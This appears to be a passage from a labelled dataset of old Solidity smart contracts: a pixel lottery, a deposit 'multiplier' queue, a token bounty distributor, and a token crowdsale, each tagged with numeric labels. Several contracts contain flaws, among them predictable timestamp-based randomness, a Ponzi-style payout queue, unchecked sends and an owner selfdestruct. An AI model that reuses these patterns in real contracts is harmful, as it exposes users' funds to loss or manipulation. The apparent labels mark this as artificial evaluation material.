function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,482 |
pragma solidity ^0.4.24;
contract PixelFactory {
address public contractOwner;
uint public startPrice = 0.1 ether;
bool public isInGame = false;
uint public finishTime;
uint public lastWinnerId;
address public lastWinnerAddress;
constructor() public {
contractOwner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
struct Pixel {
uint price;
}
Pixel[] public pixels;
mapping(uint => address) pixelToOwner;
mapping(address => string) ownerToUsername;
event Username(string username);
function setUsername(string username) public {
ownerToUsername[msg.sender] = username;
emit Username(username);
}
function getUsername() public view returns(string) {
return ownerToUsername[msg.sender];
}
function startGame() public onlyOwner {
require(isInGame == false);
isInGame = true;
finishTime = 86400 + now;
}
function sendOwnerCommission() public payable onlyOwner {
contractOwner.transfer(msg.value);
}
function _sendWinnerJackpot(address winner) private {
uint jackpot = 10 ether;
winner.transfer(jackpot);
}
function getFinishTime() public view returns(uint) {
return finishTime;
}
function getLastWinner() public view returns(uint id, address addr) {
id = lastWinnerId;
addr = lastWinnerAddress;
}
function _rand(uint min, uint max) private view returns(uint) {
return uint(keccak256(abi.encodePacked(now)))%(min+max)-min;
}
function finisGame() public onlyOwner {
require(isInGame == true);
isInGame = false;
finishTime = 0;
uint winnerId = _rand(0, 399);
lastWinnerId = winnerId;
address winnerAddress = pixelToOwner[winnerId];
lastWinnerAddress = winnerAddress;
_sendWinnerJackpot(winnerAddress);
delete pixels;
}
function createPixels(uint amount) public onlyOwner {
require(pixels.length + amount <= 400);
for(uint i=0; i<amount; i++) {
uint id = pixels.push(Pixel(startPrice)) - 1;
pixelToOwner[id] = msg.sender;
}
}
function getAllPixels() public view returns(uint[], uint[], address[]) {
uint[] memory id = new uint[](pixels.length);
uint[] memory price = new uint[](pixels.length);
address[] memory owner = new address[](pixels.length);
for (uint i = 0; i < pixels.length; i++) {
Pixel storage pixel = pixels[i];
id[i] = i;
price[i] = pixel.price;
owner[i] = pixelToOwner[i];
}
return (id, price, owner);
}
function _checkPixelIdExists(uint id) private constant returns(bool) {
if(id < pixels.length) return true;
return false;
}
function _transfer(address to, uint id) private {
pixelToOwner[id] = to;
}
function buy(uint id) external payable {
require(_checkPixelIdExists(id) == true);
Pixel storage pixel = pixels[id];
uint currentPrice = pixel.price;
address currentOwner = pixelToOwner[id];
address newOwner = msg.sender;
require(currentPrice == msg.value);
require(currentOwner != msg.sender);
uint newPrice = currentPrice * 2;
pixel.price = newPrice;
if(currentOwner != contractOwner) {
currentOwner.transfer(msg.value);
}
_transfer(newOwner, id);
}
} | 0 | 623 |
pragma solidity ^0.4.25;
contract BestMultiplier {
address public support;
uint constant public MULTIPLIER = 130;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
mapping (address => bool) public notSupport;
constructor() public {
support = msg.sender;
}
function () public payable {
if (msg.value == 0.0000001 ether) {
notSupport[msg.sender] = true;
return;
}
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= 0.01 ether);
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
if (!notSupport[msg.sender]) {
support.transfer(msg.value * 5 / 1000);
}
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 262 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract LamdenTau is MintableToken {
string public constant name = "Lamden Tau";
string public constant symbol = "TAU";
uint8 public constant decimals = 18;
}
contract Bounty is Ownable {
LamdenTau public lamdenTau;
function Bounty(address _tokenContractAddress) public {
require(_tokenContractAddress != address(0));
lamdenTau = LamdenTau(_tokenContractAddress);
}
function returnTokens() onlyOwner {
uint256 balance = lamdenTau.balanceOf(this);
lamdenTau.transfer(msg.sender, balance);
}
function issueTokens() onlyOwner {
lamdenTau.transfer(0x2D5089a716ddfb0e917ea822B2fa506A3B075997, 840000000000000000000);
lamdenTau.transfer(0xe195cC6e1F738Df5bB114094cE4fbd7162CaD617, 840000000000000000000);
lamdenTau.transfer(0x3c567089fdB2F43399f82793999Ca4e2879a1442, 120000000000000000000);
lamdenTau.transfer(0xdDF103c148a368B34215Ac2b37892CaBC98d2eb6, 180000000000000000000);
lamdenTau.transfer(0x32b50a36762bA0194DbbD365C69014eA63bC208A, 240000000000000000000);
lamdenTau.transfer(0x80e264eca46565b3b89234C889f86fC48A37FD27, 160000000000000000000);
lamdenTau.transfer(0x8899b7328114dE9e26AF0f920b933517A84d0B27, 40000000000000000000);
lamdenTau.transfer(0x5F3034c41fE8548A0B8718622679A7A1B1d990a2, 180000000000000000000);
lamdenTau.transfer(0xe47BBeAc8F268d7126082D5574B6f027f95AF5FB, 140000000000000000000);
lamdenTau.transfer(0x8D7f4b8658Ae777B498C154566fBc820f88533cd, 240000000000000000000);
lamdenTau.transfer(0xB95390D77F2aF27dEb09aBF9AD6A0c36Ec1333D2, 280000000000000000000);
lamdenTau.transfer(0xb9B03611Fc1EFAdD1F1a83d84CDD8CCa5d93f0CB, 160000000000000000000);
lamdenTau.transfer(0x1FC6523C6F8f5F4a92EF98286f75ac4Fb86709dF, 120000000000000000000);
lamdenTau.transfer(0x0Fe8C0F024B8dF422f830c34E3c406CC05735F77, 360000000000000000000);
lamdenTau.transfer(0x01e6c7F612798c5C63775712F3C090F10bE120bC, 240000000000000000000);
lamdenTau.transfer(0x5752ae7b663b57819de59945176835ff43805622, 30000000000000000000);
lamdenTau.transfer(0x0669cE7bFe9BAE94b2A2da730398cd98f007b38C, 160000000000000000000);
lamdenTau.transfer(0x976f5AcE7Aa74e0aF12F25b6aF534c4915FC945a, 20000000000000000000);
lamdenTau.transfer(0x6C716B6A1d36C881c43Fa493AacD2609D52E9ce1, 120000000000000000000);
lamdenTau.transfer(0x3F2AE4834ef2fe01Ec66457F524De9985e865e8B, 80000000000000000000);
lamdenTau.transfer(0x8B2180c8EeBb9edFCc1F532AB8Efe51EBa6b5253, 60000000000000000000);
lamdenTau.transfer(0x141CF68Ad37F924Cfe7501caB5469440b96AB6e3, 360000000000000000000);
lamdenTau.transfer(0x177C3eaBD87816059C6579Ad67058E5d84b9645F, 240000000000000000000);
lamdenTau.transfer(0xFfcD4AC9de1657aa3E229BE2e8361ED2C2aab60b, 200000000000000000000);
lamdenTau.transfer(0xB1f0796f6bB898D933D95E6ABA82bF13B1cEc228, 160000000000000000000);
lamdenTau.transfer(0x8EeB853117f3dABc0205C4b4148aE73762d27e21, 240000000000000000000);
lamdenTau.transfer(0x8Fd8cfEf175CeED446B2c024c1648476A7B850f5, 120000000000000000000);
lamdenTau.transfer(0x0Bc798697Fadb1bcB6A83532d353c1930Eb7Cf03, 40000000000000000000);
uint256 balance = lamdenTau.balanceOf(this);
lamdenTau.transfer(msg.sender, balance);
}
} | 1 | 3,369 |
pragma solidity ^0.4.18;
contract FallbackToken {
function isContract(address _addr) internal constant returns (bool) {
uint length;
_addr = _addr;
assembly {length := extcodesize(_addr)}
return (length > 0);
}
}
contract Receiver {
function tokenFallback(address from, uint value) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TrustaBitToken is MintableToken, FallbackToken {
string public constant name = "TrustaBits";
string public constant symbol = "TAB";
uint256 public constant decimals = 18;
bool public released = false;
event Release();
modifier isReleased () {
require(mintingFinished);
require(released);
_;
}
modifier onlyPayloadSize(uint size) {
if (msg.data.length != size + 4) {
revert();
}
_;
}
function() public payable {
revert();
}
function release() onlyOwner public returns (bool) {
require(mintingFinished);
require(!released);
released = true;
Release();
return true;
}
function transfer(address _to, uint256 _value) public isReleased onlyPayloadSize(2 * 32) returns (bool) {
require(super.transfer(_to, _value));
if (isContract(_to)) {
Receiver(_to).tokenFallback(msg.sender, _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public isReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public isReleased onlyPayloadSize(2 * 32) returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public isReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MilestoneCrowdsale {
using SafeMath for uint256;
uint256 public constant AVAILABLE_TOKENS = 1e9;
uint256 public constant AVAILABLE_IN_PRE_SALE = 40e6;
uint256 public constant AVAILABLE_IN_MAIN = 610e6;
uint256 public constant AVAILABLE_FOR_EARLY_INVESTORS = 100e6;
uint public preSaleStartDate;
uint public preSaleEndDate;
uint public mainSaleStartDate;
uint public mainSaleEndDate;
struct Milestone {
uint start;
uint end;
uint256 bonus;
uint256 price;
}
Milestone[] public milestones;
uint256 public rateUSD;
uint256 public earlyInvestorTokenRaised;
uint256 public preSaleTokenRaised;
uint256 public mainSaleTokenRaised;
function initMilestones(uint _rate, uint _preSaleStartDate, uint _preSaleEndDate, uint _mainSaleStartDate, uint _mainSaleEndDate) internal {
rateUSD = _rate;
preSaleStartDate = _preSaleStartDate;
preSaleEndDate = _preSaleEndDate;
mainSaleStartDate = _mainSaleStartDate;
mainSaleEndDate = _mainSaleEndDate;
uint256 earlyInvestorPrice = ((25 * 1 ether) / (rateUSD * 10));
milestones.push(Milestone(now, preSaleStartDate, 0, earlyInvestorPrice));
uint256 preSalePrice = usdToEther(5);
milestones.push(Milestone(preSaleStartDate, preSaleEndDate, 20, preSalePrice));
uint256 mainSalePrice = usdToEther(10);
uint mainSaleStartDateWeek1 = mainSaleStartDate + 1 weeks;
uint mainSaleStartDateWeek3 = mainSaleStartDate + 3 * 1 weeks;
uint mainSaleStartDateWeek2 = mainSaleStartDate + 2 * 1 weeks;
milestones.push(Milestone(mainSaleStartDate, mainSaleStartDateWeek1, 15, mainSalePrice));
milestones.push(Milestone(mainSaleStartDateWeek1, mainSaleStartDateWeek2, 10, mainSalePrice));
milestones.push(Milestone(mainSaleStartDateWeek2, mainSaleStartDateWeek3, 5, mainSalePrice));
milestones.push(Milestone(mainSaleStartDateWeek3, _mainSaleEndDate, 0, mainSalePrice));
}
function usdToEther(uint256 usdValue) public view returns (uint256) {
return usdValue.mul(1 ether).div(rateUSD);
}
function getCurrentMilestone() internal view returns (uint256, uint256) {
for (uint i = 0; i < milestones.length; i++) {
if (now >= milestones[i].start && now < milestones[i].end) {
var milestone = milestones[i];
return (milestone.bonus, milestone.price);
}
}
return (0, 0);
}
function getCurrentPrice() public view returns (uint256) {
var (, price) = getCurrentMilestone();
return price;
}
function getTokenRaised() public view returns (uint256) {
return mainSaleTokenRaised.add(preSaleTokenRaised.add(earlyInvestorTokenRaised));
}
function isEarlyInvestors() public view returns (bool) {
return now < preSaleStartDate;
}
function isPreSale() public view returns (bool) {
return now >= preSaleStartDate && now < preSaleEndDate;
}
function isMainSale() public view returns (bool) {
return now >= mainSaleStartDate && now < mainSaleEndDate;
}
function isEnded() public view returns (bool) {
return now >= mainSaleEndDate;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract TrustaBitCrowdsale is MilestoneCrowdsale, Ownable {
using SafeMath for uint256;
uint public constant MINIMUM_CONTRIBUTION = 3 ether;
uint public constant softCapUSD = 3e6;
uint public softCap;
uint public constant hardCapUSD = 49e6;
uint public hardCap;
address public addressAdvisoryBountyTeam;
uint256 public constant tokenAdvisoryBountyTeam = 250e6;
address[] public investors;
TrustaBitToken public token;
address public wallet;
uint256 public weiRaised;
RefundVault public vault;
bool public isFinalized = false;
event Finalized();
event TokenPurchase(address indexed investor, uint256 value, uint256 amount);
modifier hasMinimumContribution() {
require(msg.value >= MINIMUM_CONTRIBUTION);
_;
}
function TrustaBitCrowdsale(address _wallet, address _token, uint _rate, uint _preSaleStartDate, uint _preSaleEndDate, uint _mainSaleStartDate, uint _mainSaleEndDate, address _AdvisoryBountyTeam) public {
require(_token != address(0));
require(_AdvisoryBountyTeam != address(0));
require(_rate > 0);
require(_preSaleStartDate > 0);
require(_preSaleEndDate > 0);
require(_preSaleEndDate > _preSaleStartDate);
require(_mainSaleStartDate > 0);
require(_mainSaleStartDate >= _preSaleEndDate);
require(_mainSaleEndDate > 0);
require(_mainSaleEndDate > _mainSaleStartDate);
wallet = _wallet;
token = TrustaBitToken(_token);
addressAdvisoryBountyTeam = _AdvisoryBountyTeam;
initMilestones(_rate, _preSaleStartDate, _preSaleEndDate, _mainSaleStartDate, _mainSaleEndDate);
softCap = usdToEther(softCapUSD.mul(100));
hardCap = usdToEther(hardCapUSD.mul(100));
vault = new RefundVault(wallet);
}
function investorsCount() public constant returns (uint) {
return investors.length;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address investor) public hasMinimumContribution payable {
require(investor != address(0));
require(!isEnded());
uint256 weiAmount = msg.value;
require(getCurrentPrice() > 0);
uint256 tokensAmount = calculateTokens(weiAmount);
require(tokensAmount > 0);
mintTokens(investor, weiAmount, tokensAmount);
increaseRaised(weiAmount, tokensAmount);
if (vault.deposited(investor) == 0) {
investors.push(investor);
}
vault.deposit.value(weiAmount)(investor);
}
function calculateTokens(uint256 weiAmount) internal view returns (uint256) {
if ((weiRaised.add(weiAmount)) > hardCap) return 0;
var (bonus, price) = getCurrentMilestone();
uint256 tokensAmount = weiAmount.div(price).mul(10 ** token.decimals());
tokensAmount = tokensAmount.add(tokensAmount.mul(bonus).div(100));
if (isEarlyInvestorsTokenRaised(tokensAmount)) return 0;
if (isPreSaleTokenRaised(tokensAmount)) return 0;
if (isMainSaleTokenRaised(tokensAmount)) return 0;
if (isTokenAvailable(tokensAmount)) return 0;
return tokensAmount;
}
function isEarlyInvestorsTokenRaised(uint256 tokensAmount) public view returns (bool) {
return isEarlyInvestors() && (earlyInvestorTokenRaised.add(tokensAmount) > AVAILABLE_FOR_EARLY_INVESTORS.mul(10 ** token.decimals()));
}
function isPreSaleTokenRaised(uint256 tokensAmount) public view returns (bool) {
return isPreSale() && (preSaleTokenRaised.add(tokensAmount) > AVAILABLE_IN_PRE_SALE.mul(10 ** token.decimals()));
}
function isMainSaleTokenRaised(uint256 tokensAmount) public view returns (bool) {
return isMainSale() && (mainSaleTokenRaised.add(tokensAmount) > AVAILABLE_IN_MAIN.mul(10 ** token.decimals()));
}
function isTokenAvailable(uint256 tokensAmount) public view returns (bool) {
return getTokenRaised().add(tokensAmount) > AVAILABLE_TOKENS.mul(10 ** token.decimals());
}
function increaseRaised(uint256 weiAmount, uint256 tokensAmount) internal {
weiRaised = weiRaised.add(weiAmount);
if (isEarlyInvestors()) {
earlyInvestorTokenRaised = earlyInvestorTokenRaised.add(tokensAmount);
}
if (isPreSale()) {
preSaleTokenRaised = preSaleTokenRaised.add(tokensAmount);
}
if (isMainSale()) {
mainSaleTokenRaised = mainSaleTokenRaised.add(tokensAmount);
}
}
function mintTokens(address investor, uint256 weiAmount, uint256 tokens) internal {
token.mint(investor, tokens);
TokenPurchase(investor, weiAmount, tokens);
}
function finalize() onlyOwner public {
require(!isFinalized);
require(isEnded());
if (softCapReached()) {
vault.close();
mintAdvisoryBountyTeam();
token.finishMinting();
}
else {
vault.enableRefunds();
token.finishMinting();
}
token.transferOwnership(owner);
isFinalized = true;
Finalized();
}
function mintAdvisoryBountyTeam() internal {
mintTokens(addressAdvisoryBountyTeam, 0, tokenAdvisoryBountyTeam.mul(10 ** token.decimals()));
}
function claimRefund() public {
require(isFinalized);
require(!softCapReached());
vault.refund(msg.sender);
}
function refund() onlyOwner public {
require(isFinalized);
require(!softCapReached());
for (uint i = 0; i < investors.length; i++) {
address investor = investors[i];
if (vault.deposited(investor) != 0) {
vault.refund(investor);
}
}
}
function softCapReached() public view returns (bool) {
return weiRaised >= softCap;
}
function hardCapReached() public view returns (bool) {
return weiRaised >= hardCap;
}
function destroy() onlyOwner public {
selfdestruct(owner);
}
} | 1 | 4,061 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
